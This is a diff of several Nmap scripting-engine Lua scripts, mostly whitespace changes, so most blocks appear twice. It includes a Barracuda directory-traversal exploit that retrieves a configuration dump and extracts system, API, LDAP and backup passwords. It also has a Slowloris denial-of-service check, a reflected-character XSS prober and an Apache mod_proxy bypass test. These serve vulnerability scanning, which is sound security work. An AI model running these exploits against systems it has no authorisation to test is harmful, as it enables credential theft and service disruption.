stdnse.print_debug(1, ("%s: Connecting to %s:%s"):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
for _, path in ipairs(paths) do
-- Retrieve file
local data = http.get(host, port, tostring(path))
if data and data.status then
-- Retrieve file
local data = http.get(host, port, tostring(path))
if data and data.status then
-- Check if file exists
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path))
if tostring(data.status):match("200") then
-- Check if file exists
stdnse.print_debug(1, "%s: HTTP %s: %s", SCRIPT_NAME, data.status, tostring(path))
if tostring(data.status):match("200") then
-- Attempt config file retrieval with LFI exploit
stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload))
data = http.get(host, port, tostring(path .. payload))
if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then
-- Attempt config file retrieval with LFI exploit
stdnse.print_debug(1, "%s: Exploiting: %s", SCRIPT_NAME, tostring(path .. payload))
data = http.get(host, port, tostring(path .. payload))
if data and data.status and tostring(data.status):match("200") and data.body and data.body ~= "" then
-- Check if the HTTP response contains a valid config file in MySQL database dump format
if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then
config_file = data.body
break
end
-- Check if the HTTP response contains a valid config file in MySQL database dump format
if string.match(data.body, "DROP TABLE IF EXISTS config;") and string.match(data.body, "barracuda%.css") then
config_file = data.body
break
end
else
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload))
end
else
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path .. payload))
end
end
end
else
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path))
end
else
stdnse.print_debug(1, "%s: Failed to retrieve file: %s", SCRIPT_NAME, tostring(path))
end
end
end
-- No config file found
if config_file == "" then
stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return
end
-- No config file found
if config_file == "" then
stdnse.print_debug(1, ("%s: %s:%s is not vulnerable or connection timed out."):format(SCRIPT_NAME, host.targetname or host.ip, port.number))
return
end
-- Extract system info from config file in MySQL dump format
stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME)
-- Extract system info from config file in MySQL dump format
stdnse.print_debug(1, "%s: Exploit success! Extracting system info from MySQL database dump", SCRIPT_NAME)
-- Count users
if string.match(config_file, "'user_default_email_address',") then
for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end
end
table.insert(result, string.format("Users: %s", user_count))
-- Count users
if string.match(config_file, "'user_default_email_address',") then
for _ in string.gmatch(config_file, "'user_default_email_address',") do user_count = user_count + 1 end
end
table.insert(result, string.format("Users: %s", user_count))
-- Extract system info
local vars = {
{"Device", "branding_device_name"},
{"Version","httpd_last_release_notes_version_read"},
{"Hostname","system_default_hostname"},
{"Domain","system_default_domain"},
{"Timezone","system_timezone"},
{"Language","default_ndr_lang"},
{"Password","system_password"},
{"API Password","api_password"},
{"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"},
{"Gateway","system_gateway"},
{"Primary DNS","system_primary_dns_server"},
{"Secondary DNS","system_secondary_dns_server"},
{"DNS Cache","dns_cache"},
{"Backup Server","backup_server"},
{"Backup Port","backup_port"},
{"Backup Type","backup_type"},
{"Backup Username","backup_username"},
{"Backup Password","backup_password"},
{"NTP Enabled","system_ntp"},
{"NTP Server","system_ntp_server"},
{"SSH Enabled","system_ssh_enable"},
{"BRTS Enabled","brts_enable"},
{"BRTS Server","brts_lookup_domain"},
{"HTTP Port","http_port"},
{"HTTP Disabled","http_shutoff"},
{"HTTPS Port","https_port"},
{"HTTPS Only","https_only"},
}
for _, var in ipairs(vars) do
local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2]))
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
end
-- Extract system info
local vars = {
{"Device", "branding_device_name"},
{"Version","httpd_last_release_notes_version_read"},
{"Hostname","system_default_hostname"},
{"Domain","system_default_domain"},
{"Timezone","system_timezone"},
{"Language","default_ndr_lang"},
{"Password","system_password"},
{"API Password","api_password"},
{"MTA SASL LDAP Password","mta_sasl_ldap_advanced_password"},
{"Gateway","system_gateway"},
{"Primary DNS","system_primary_dns_server"},
{"Secondary DNS","system_secondary_dns_server"},
{"DNS Cache","dns_cache"},
{"Backup Server","backup_server"},
{"Backup Port","backup_port"},
{"Backup Type","backup_type"},
{"Backup Username","backup_username"},
{"Backup Password","backup_password"},
{"NTP Enabled","system_ntp"},
{"NTP Server","system_ntp_server"},
{"SSH Enabled","system_ssh_enable"},
{"BRTS Enabled","brts_enable"},
{"BRTS Server","brts_lookup_domain"},
{"HTTP Port","http_port"},
{"HTTP Disabled","http_shutoff"},
{"HTTPS Port","https_port"},
{"HTTPS Only","https_only"},
}
for _, var in ipairs(vars) do
local var_match = string.match(config_file, string.format("'%s','([^']+)','global',", var[2]))
if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
end
table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119")
table.insert(result, "\nVulnerable to directory traversal vulnerability:\nhttp://seclists.org/fulldisclosure/2010/Oct/119")
-- Return results
return stdnse.format_output(true, result)
-- Return results
return stdnse.format_output(true, result)
end

View File

@@ -62,126 +62,126 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
-- Checks if this is really a token.
isToken = function(value)
local minlength = 8
local minentropy = 72
local minlength = 8
local minentropy = 72
-- If it has a reasonable length.
if #value > minlength then
-- If it has a reasonable length.
if #value > minlength then
local entropy = formulas.calcPwdEntropy(value)
local entropy = formulas.calcPwdEntropy(value)
-- Does it have a big entropy?
if entropy >= minentropy then
-- If it doesn't contain any spaces but contains at least one digit.
if not string.find(value, " ") and string.find(value, "%d") then
return 1
end
end
-- Does it have a big entropy?
if entropy >= minentropy then
-- If it doesn't contain any spaces but contains at least one digit.
if not string.find(value, " ") and string.find(value, "%d") then
return 1
end
end
end
return 0
return 0
end
action = function(host, port)
local singlepages = stdnse.get_script_args("http-csrf.singlepages")
local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false
local singlepages = stdnse.get_script_args("http-csrf.singlepages")
local checkentropy = stdnse.get_script_args("http-csrf.checkentropy") or false
local csrfvuln = {}
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
local csrfvuln = {}
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME, withinhost = 1 } )
if (not(crawler)) then
return
end
if (not(crawler)) then
return
end
crawler:set_timeout(10000)
crawler:set_timeout(10000)
local index, response, path
while (true) do
local index, response, path
while (true) do
if singlepages then
local k, target,
k, target = next(singlepages, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
path = target
if singlepages then
local k, target,
k, target = next(singlepages, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
path = target
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
response = r.response
path = tostring(r.url)
end
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
local resistant = false
if form then
for _, field in ipairs(form['fields']) do
-- First we check the field's name.
if field['value'] then
resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
-- Let's be sure, by calculating the entropy of the field's value.
if not resistant and checkentropy then
resistant = isToken(field['value'])
end
if resistant then
break
end
end
end
if not resistant then
-- Handle forms with no id or action attributes.
form['id'] = form['id'] or ""
form['action'] = form['action'] or "-"
local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
table.insert(csrfvuln, { msg } )
end
end
end
if (index) then
index = index + 1
else
index = 1
end
break
end
end
response = r.response
path = tostring(r.url)
end
-- If the table is empty.
if next(csrfvuln) == nil then
return "Couldn't find any CSRF vulnerabilities."
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
local resistant = false
if form then
for _, field in ipairs(form['fields']) do
-- First we check the field's name.
if field['value'] then
resistant = string.find(field['name'], "[Tt][Oo][Kk][Ee][Nn]") or string.find(field['name'], "[cC][sS][Rr][Ff]")
-- Let's be sure, by calculating the entropy of the field's value.
if not resistant and checkentropy then
resistant = isToken(field['value'])
end
if resistant then
break
end
end
end
if not resistant then
-- Handle forms with no id or action attributes.
form['id'] = form['id'] or ""
form['action'] = form['action'] or "-"
local msg = "\nPath: " .. path .. "\nForm id: " .. form['id'] .. "\nForm action: " .. form['action']
table.insert(csrfvuln, { msg } )
end
end
end
if (index) then
index = index + 1
else
index = 1
end
end
table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ")
end
csrfvuln.name = crawler:getLimitations()
-- If the table is empty.
if next(csrfvuln) == nil then
return "Couldn't find any CSRF vulnerabilities."
end
return stdnse.format_output(true, csrfvuln)
table.insert(csrfvuln, 1, "Found the following possible CSRF vulnerabilities: ")
csrfvuln.name = crawler:getLimitations()
return stdnse.format_output(true, csrfvuln)
end

View File

@@ -40,10 +40,10 @@ FEEDS = { RSS = { search = { '<rss(.*)>' }, version = 'version=["\'](.-)["\']' }
}
FEEDS_REFS = { "type=[\"']application/rss%+xml[\"']%s*href=[\"'](.-)[\"']",
"type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
"type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']",
"type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
}
"type=[\"']application/rss%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
"type=[\"']application/atom%+xml[\"']%s*href=[\"'](.-)[\"']",
"type=[\"']application/atom%+xml[\"']%s*title=[\"'].-[\"']%s*href=[\"'](.-)[\"']",
}
feedsfound = {}
@@ -52,107 +52,107 @@ checked = {}
-- Searches the resource for feeds.
local findFeeds = function(body, path)
if body then
for _, f in pairs(FEEDS) do
for __, pf in pairs(f["search"]) do
if body then
for _, f in pairs(FEEDS) do
for __, pf in pairs(f["search"]) do
local c = string.match(body, pf)
local c = string.match(body, pf)
if c then
local v = ""
-- Try to find feed's version.
if string.match(c, f["version"]) then
v = " (version " .. string.match(c, f["version"]) .. ")"
end
feedsfound[path] = _ .. v .. ": "
end
end
end
if c then
local v = ""
-- Try to find feed's version.
if string.match(c, f["version"]) then
v = " (version " .. string.match(c, f["version"]) .. ")"
end
feedsfound[path] = _ .. v .. ": "
end
checked[path] = true
end
end
end
checked[path] = true
end
action = function(host, port)
local maxpagecount = stdnse.get_script_args("maxpagecount") or 40
local maxpagecount = stdnse.get_script_args("maxpagecount") or 40
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = maxpagecount,
maxdepth = -1,
withinhost = 1
})
local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
maxpagecount = maxpagecount,
maxdepth = -1,
withinhost = 1
})
crawler.options.doscraping = function(url)
if crawler:iswithinhost(url)
and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then
return true
end
crawler.options.doscraping = function(url)
if crawler:iswithinhost(url)
and not crawler:isresource(url, "js")
and not crawler:isresource(url, "css") then
return true
end
end
if (not(crawler)) then
return
end
crawler:set_timeout(10000)
local index, k, target, response, path
while (true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
if (not(crawler)) then
return
end
response = r.response
path = tostring(r.url)
crawler:set_timeout(10000)
if response.body then
findFeeds(response.body, path)
local index, k, target, response, path
while (true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if (not(status)) then
if (r.err) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
for _, p in ipairs(FEEDS_REFS) do
for l in string.gmatch(response.body, p) do
if not checked[l] then
local resp
-- If this is an absolute URL, use get_url.
if string.match(l, "^http") then
resp = http.get_url(l)
else
break
resp = http.get(host, port, l)
end
end
response = r.response
path = tostring(r.url)
if response.body then
findFeeds(response.body, path)
for _, p in ipairs(FEEDS_REFS) do
for l in string.gmatch(response.body, p) do
if not checked[l] then
local resp
-- If this is an absolute URL, use get_url.
if string.match(l, "^http") then
resp = http.get_url(l)
else
resp = http.get(host, port, l)
end
if resp.body then
findFeeds(resp.body, l)
end
end
end
if resp.body then
findFeeds(resp.body, l)
end
end
end
end
end
-- If the table is empty.
if next(feedsfound) == nil then
return "Couldn't find any feeds."
end
end
-- Create a nice output.
local results = {}
for c, _ in pairs(feedsfound) do
table.insert(results, {_ .. c } )
end
-- If the table is empty.
if next(feedsfound) == nil then
return "Couldn't find any feeds."
end
table.insert(results, 1, "Found the following feeds: ")
-- Create a nice output.
local results = {}
for c, _ in pairs(feedsfound) do
table.insert(results, {_ .. c } )
end
results.name = crawler:getLimitations()
table.insert(results, 1, "Found the following feeds: ")
return stdnse.format_output(true, results)
results.name = crawler:getLimitations()
return stdnse.format_output(true, results)
end

View File

@@ -115,7 +115,7 @@ local function findName(host, port, path, number)
end
if errors>10 then
stdnse.print_debug(1, "%s:False positive detected. Exiting.", SCRIPT_NAME)
errors_max=true
errors_max=true
else
stdnse.print_debug(1, "Added folder: %s", path .. "~" .. number)
table.insert(folders, path .. "~" .. number)

View File

@@ -123,56 +123,56 @@ function action(host, port)
local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/"
-- create a new crawler instance
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } )
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } )
if ( not(crawler) ) then
return
end
if ( not(crawler) ) then
return
end
local visited = {}
local visited = {}
local dir_structure = {}
local total_ext = {}
local longest_dir_structure = {dir="/", depth=0}
while(true) do
local status, r = crawler:crawl()
while(true) do
local status, r = crawler:crawl()
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
if r.response.status and r.response.status == 200 then
--check if we've already visited this file
local path = normalize_path(r.url.path)
if not visited[path] then
local ext = get_file_extension(path)
if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end
local dir = normalize_path(r.url.dir)
local _,dir_depth = string.gsub(dir,"/","/")
-- check if this path is the longest one
dir_depth = dir_depth - 1 -- first '/'
if dir_depth > longest_dir_structure["depth"] then
longest_dir_structure["dir"] = dir
longest_dir_structure["depth"] = dir_depth
end
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
if r.response.status and r.response.status == 200 then
--check if we've already visited this file
local path = normalize_path(r.url.path)
if not visited[path] then
local ext = get_file_extension(path)
if total_ext[ext] then total_ext[ext]=total_ext[ext]+1 else total_ext[ext]=1 end
local dir = normalize_path(r.url.dir)
local _,dir_depth = string.gsub(dir,"/","/")
-- check if this path is the longest one
dir_depth = dir_depth - 1 -- first '/'
if dir_depth > longest_dir_structure["depth"] then
longest_dir_structure["dir"] = dir
longest_dir_structure["depth"] = dir_depth
end
dict_add(dir_structure, dir, ext)
-- when withinhost=false, then maybe we'd like to include the full url
-- with each path listed in the output
visited[path] = true
end
end
end
end
end
local out = internal_table_to_output(sort_dirs(dir_structure))
local tot = sort_by_keys(total_ext)
out =
{
"Directory structure:", out,
{name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir},
{name="Total files found (by extension):", table.concat(tot, "; ")}
}
return stdnse.format_output(true, out)
local out = internal_table_to_output(sort_dirs(dir_structure))
local tot = sort_by_keys(total_ext)
out =
{
"Directory structure:", out,
{name="Longest directory structure:", "Depth: "..tostring(longest_dir_structure.depth), "Dir: "..longest_dir_structure.dir},
{name="Total files found (by extension):", table.concat(tot, "; ")}
}
return stdnse.format_output(true, out)
end

View File

@@ -61,99 +61,99 @@ portrule = shortport.http
local HalfHTTP
local Bestopt
local TimeWithout -- time without additional headers
local TimeWith -- time with additional headers
local TimeWith -- time with additional headers
-- does a half http request and waits until timeout
local function slowThread1(host,port)
-- if no response was received when determining SSL
if ( Bestopt == "none" ) then
return
end
local socket,status
local catch = function()
TimeWithout = nmap.clock()
end
local try = nmap.new_try(catch)
socket = nmap.new_socket()
socket:set_timeout(500 * 1000)
socket:connect(host.ip, port, Bestopt)
socket:send(HalfHTTP)
try(socket:receive())
TimeWithout = nmap.clock()
-- if no response was received when determining SSL
if ( Bestopt == "none" ) then
return
end
local socket,status
local catch = function()
TimeWithout = nmap.clock()
end
local try = nmap.new_try(catch)
socket = nmap.new_socket()
socket:set_timeout(500 * 1000)
socket:connect(host.ip, port, Bestopt)
socket:send(HalfHTTP)
try(socket:receive())
TimeWithout = nmap.clock()
end
-- does a half http request but sends another
-- header value after 10 seconds
local function slowThread2(host,port)
-- if no response was received when determining SSL
if ( Bestopt == "none" ) then
return
end
local socket,status
local catch = function()
-- note the time the socket timedout
TimeWith = nmap.clock()
stdnse.print_debug("2 try")
end
local try = nmap.new_try(catch)
socket = nmap.new_socket()
socket:set_timeout(500 * 1000)
socket:connect(host.ip, port, Bestopt)
socket:send(HalfHTTP)
stdnse.sleep(10)
socket:send("X-a: b\r\n")
try(socket:receive())
TimeWith = nmap.clock()
-- if no response was received when determining SSL
if ( Bestopt == "none" ) then
return
end
local socket,status
local catch = function()
-- note the time the socket timedout
TimeWith = nmap.clock()
stdnse.print_debug("2 try")
end
local try = nmap.new_try(catch)
socket = nmap.new_socket()
socket:set_timeout(500 * 1000)
socket:connect(host.ip, port, Bestopt)
socket:send(HalfHTTP)
stdnse.sleep(10)
socket:send("X-a: b\r\n")
try(socket:receive())
TimeWith = nmap.clock()
end
action = function(host,port)
local slowloris = {
title = "Slowloris DOS attack",
description = [[
local slowloris = {
title = "Slowloris DOS attack",
description = [[
Slowloris tries to keep many connections to the target web server open and hold them open as long as possible.
It accomplishes this by opening connections to the target web server and sending a partial request. By doing
so, it starves the http server's resources causing Denial Of Service.
]],
references = {
'http://ha.ckers.org/slowloris/',
},
dates = {
disclosure = {year = '2009', month = '09', day = '17'},
},
exploit_results = {},
}
]],
references = {
'http://ha.ckers.org/slowloris/',
},
dates = {
disclosure = {year = '2009', month = '09', day = '17'},
},
exploit_results = {},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
slowloris.state = vulns.STATE.NOT_VULN
local report = vulns.Report:new(SCRIPT_NAME, host, port)
slowloris.state = vulns.STATE.NOT_VULN
local _
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl
HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "\r\n" ..
"User-Agent: " .. http.USER_AGENT .. "\r\n; " ..
"Content-Length: 42\r\n"
-- both threads run at the same time
local thread1 = stdnse.new_thread(slowThread1, host, port)
local thread2 = stdnse.new_thread(slowThread2, host, port)
while true do -- wait for both threads to die
if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then
break
end
stdnse.sleep(1)
end
-- compare times
if ( not(TimeWith) or not(TimeWithout) ) then
return
end
local diff = TimeWith - TimeWithout
stdnse.print_debug("Time difference is: %d",diff)
-- if second connection died 10 or more seconds after the first
-- it means that sending additional data prolonged the connection's time
-- and the server is vulnerable to slowloris attack
if diff >= 10 then
stdnse.print_debug("Difference is greater or equal to 10 seconds.")
slowloris.state = vulns.STATE.VULN
end
return report:make_output(slowloris)
local _
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", {}) -- first determine if we need ssl
HalfHTTP = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "\r\n" ..
"User-Agent: " .. http.USER_AGENT .. "\r\n; " ..
"Content-Length: 42\r\n"
-- both threads run at the same time
local thread1 = stdnse.new_thread(slowThread1, host, port)
local thread2 = stdnse.new_thread(slowThread2, host, port)
while true do -- wait for both threads to die
if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then
break
end
stdnse.sleep(1)
end
-- compare times
if ( not(TimeWith) or not(TimeWithout) ) then
return
end
local diff = TimeWith - TimeWithout
stdnse.print_debug("Time difference is: %d",diff)
-- if second connection died 10 or more seconds after the first
-- it means that sending additional data prolonged the connection's time
-- and the server is vulnerable to slowloris attack
if diff >= 10 then
stdnse.print_debug("Difference is greater or equal to 10 seconds.")
slowloris.state = vulns.STATE.VULN
end
return report:make_output(slowloris)
end

View File

@@ -47,117 +47,117 @@ categories = {"discovery", "intrusive"}
portrule = shortport.http
local function dbg(str,...)
stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...)
stdnse.print_debug(2,"%s:"..str, SCRIPT_NAME, ...)
end
local function getHostPort(parsed)
local host, port = parsed.host, parsed.port
-- if no port was found, try to deduce it from the scheme
if ( not(port) ) then
port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80)
end
return host, port
local host, port = parsed.host, parsed.port
-- if no port was found, try to deduce it from the scheme
if ( not(port) ) then
port = (parsed.scheme == 'https') and 443
port = port or ((parsed.scheme == 'http') and 80)
end
return host, port
end
local function getReflected(parsed, r)
local reflected_values,not_reflected_values = {},{}
local count = 0
-- Now, we need to check the parameters and keys
local q = url.parse_query(parsed.query)
-- Check the values (and keys) and see if they are reflected in the page
for k,v in pairs(q) do
if r.response.body and r.response.body:find(v, 1, true) then
dbg("Reflected content %s=%s", k,v)
reflected_values[k] = v
count = count +1
else
not_reflected_values[k] = v
end
end
if count > 0 then
return reflected_values,not_reflected_values,q
end
local reflected_values,not_reflected_values = {},{}
local count = 0
-- Now, we need to check the parameters and keys
local q = url.parse_query(parsed.query)
-- Check the values (and keys) and see if they are reflected in the page
for k,v in pairs(q) do
if r.response.body and r.response.body:find(v, 1, true) then
dbg("Reflected content %s=%s", k,v)
reflected_values[k] = v
count = count +1
else
not_reflected_values[k] = v
end
end
if count > 0 then
return reflected_values,not_reflected_values,q
end
end
local function addPayload(v)
return v.."ghz%3Ehzx%22zxc%27xcv"
return v.."ghz%3Ehzx%22zxc%27xcv"
end
local function createMinedLinks(reflected_values, all_values)
local new_links = {}
for k,v in pairs(reflected_values) do
-- First of all, add the payload to the reflected param
local urlParams = { [k] = addPayload(v)}
for k2,v2 in pairs(all_values) do
if k2 ~= k then
urlParams[k2] = v2
end
end
new_links[k] = url.build_query(urlParams)
end
return new_links
local new_links = {}
for k,v in pairs(reflected_values) do
-- First of all, add the payload to the reflected param
local urlParams = { [k] = addPayload(v)}
for k2,v2 in pairs(all_values) do
if k2 ~= k then
urlParams[k2] = v2
end
end
new_links[k] = url.build_query(urlParams)
end
return new_links
end
local function locatePayloads(response)
local results = {}
if response.body:find("ghz>hzx") then table.insert(results,">") end
if response.body:find('hzx"zxc') then table.insert(results,'"') end
if response.body:find("zxc'xcv") then table.insert(results,"'") end
return #results > 0 and results
local results = {}
if response.body:find("ghz>hzx") then table.insert(results,">") end
if response.body:find('hzx"zxc') then table.insert(results,'"') end
if response.body:find("zxc'xcv") then table.insert(results,"'") end
return #results > 0 and results
end
local function visitLinks(host, port,parsed,new_links, results,original_url)
for k,query in pairs(new_links) do
local ppath = url.parse_path(parsed.path or "")
local url = url.build_path(ppath)
if parsed.params then url = url .. ";" .. parsed.params end
url = url .. "?" .. query
dbg("Url to visit: %s", url)
local response = http.get(host, port, url)
local result = locatePayloads(response)
if result then
table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url))
end
end
for k,query in pairs(new_links) do
local ppath = url.parse_path(parsed.path or "")
local url = url.build_path(ppath)
if parsed.params then url = url .. ";" .. parsed.params end
url = url .. "?" .. query
dbg("Url to visit: %s", url)
local response = http.get(host, port, url)
local result = locatePayloads(response)
if result then
table.insert(results, ("Characters [%s] reflected in parameter %s at %s"):format(table.concat(result," "),k, original_url))
end
end
end
action = function(host, port)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(10000)
local crawler = httpspider.Crawler:new(host, port, nil, { scriptname = SCRIPT_NAME } )
crawler:set_timeout(10000)
local results = {}
while(true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
local results = {}
while(true) do
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, "ERROR: %s", r.reason)
else
break
end
end
-- parse the returned url
local parsed = url.parse(tostring(r.url))
-- We are only interested in links which have parameters
if parsed.query and #parsed.query > 0 then
local host, port = getHostPort(parsed)
local reflected_values,not_reflected_values,all_values = getReflected(parsed, r)
-- parse the returned url
local parsed = url.parse(tostring(r.url))
-- We are only interested in links which have parameters
if parsed.query and #parsed.query > 0 then
local host, port = getHostPort(parsed)
local reflected_values,not_reflected_values,all_values = getReflected(parsed, r)
-- Now,were any reflected ?
if reflected_values then
-- Ok, create new links with payloads in the reflected slots
local new_links = createMinedLinks(reflected_values, all_values)
-- Now,were any reflected ?
if reflected_values then
-- Ok, create new links with payloads in the reflected slots
local new_links = createMinedLinks(reflected_values, all_values)
-- Now, if we had 2 reflected values, we should have 2 new links to fetch
visitLinks(host, port,parsed, new_links, results,tostring(r.url))
end
end
end
if ( #results> 0 ) then
return stdnse.format_output(true, results)
end
-- Now, if we had 2 reflected values, we should have 2 new links to fetch
visitLinks(host, port,parsed, new_links, results,tostring(r.url))
end
end
end
if ( #results> 0 ) then
return stdnse.format_output(true, results)
end
end

View File

@@ -120,7 +120,7 @@ local testThread = function(result, host, port, name)
local condvar = nmap.condvar(result)
local targetname = makeTargetName(name , arg_domain)
if targetname ~= nil then
local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}})
local http_response = http.generic_request(host, port, "HEAD", arg_path, {header={Host=targetname}})
if not http_response.status then
result["ERROR"] = result["ERROR"] or {}

View File

@@ -54,108 +54,108 @@ portrule = shortport.http
action = function(host, port)
local vuln = {
title = 'Apache mod_proxy Reverse Proxy Security Bypass',
IDS = { CVE='CVE-2011-3368', OSVDB='76079'},
description = [[
local vuln = {
title = 'Apache mod_proxy Reverse Proxy Security Bypass',
IDS = { CVE='CVE-2011-3368', OSVDB='76079'},
description = [[
An exposure was reported affecting the use of Apache HTTP Server in
reverse proxy mode. The exposure could inadvertently expose internal
servers to remote users who send carefully crafted requests.]],
references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
dates = {
disclosure = { year='2011', month='10', day='05'}
},
}
references = { 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3368' },
dates = {
disclosure = { year='2011', month='10', day='05'}
},
}
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
local report = vulns.Report:new(SCRIPT_NAME, host, port)
local prefix = stdnse.get_script_args("http-vuln-cve2011-3368.prefix") or ""
-- Take a reference chrono for a 404
local start = os.time(os.date('*t'))
local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512)))
local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
local chrono_404 = os.time(os.date('*t'))-start
-- Take a reference chrono for a 404
local start = os.time(os.date('*t'))
local random_page = stdnse.tohex(openssl.sha1(openssl.rand_pseudo_bytes(512)))
local reference = http.get(host,port,("%s/%s.htm"):format(prefix,random_page))
local chrono_404 = os.time(os.date('*t'))-start
-- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
local all
all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
-- TEST 1: the loopback test, with 3 payloads to handle different rewrite rules
local all
all = http.pipeline_add(("%s@localhost"):format(prefix),nil, all)
all = http.pipeline_add(("%s:@localhost"):format(prefix),nil, all)
all = http.pipeline_add(("%s:@localhost:80"):format(prefix), nil, all)
local bypass_request = http.pipeline_go(host,port, all)
if ( not(bypass_request) ) then
stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME)
return "\n ERROR: Got no answers from pipelined queries"
end
local bypass_request = http.pipeline_go(host,port, all)
if ( not(bypass_request) ) then
stdnse.print_debug(1, "%s : got no answers from pipelined queries", SCRIPT_NAME)
return "\n ERROR: Got no answers from pipelined queries"
end
-- going through the results of TEST 1 we could see
-- * 200 OK
-- o This could be the result of the server being vulnerable
-- o This could also be the result of a generic error page
-- * 40X Error
-- o This is most likely the result of the server NOT being vulnerable
--
-- We can not determine whether the server is vulnerable or not solely
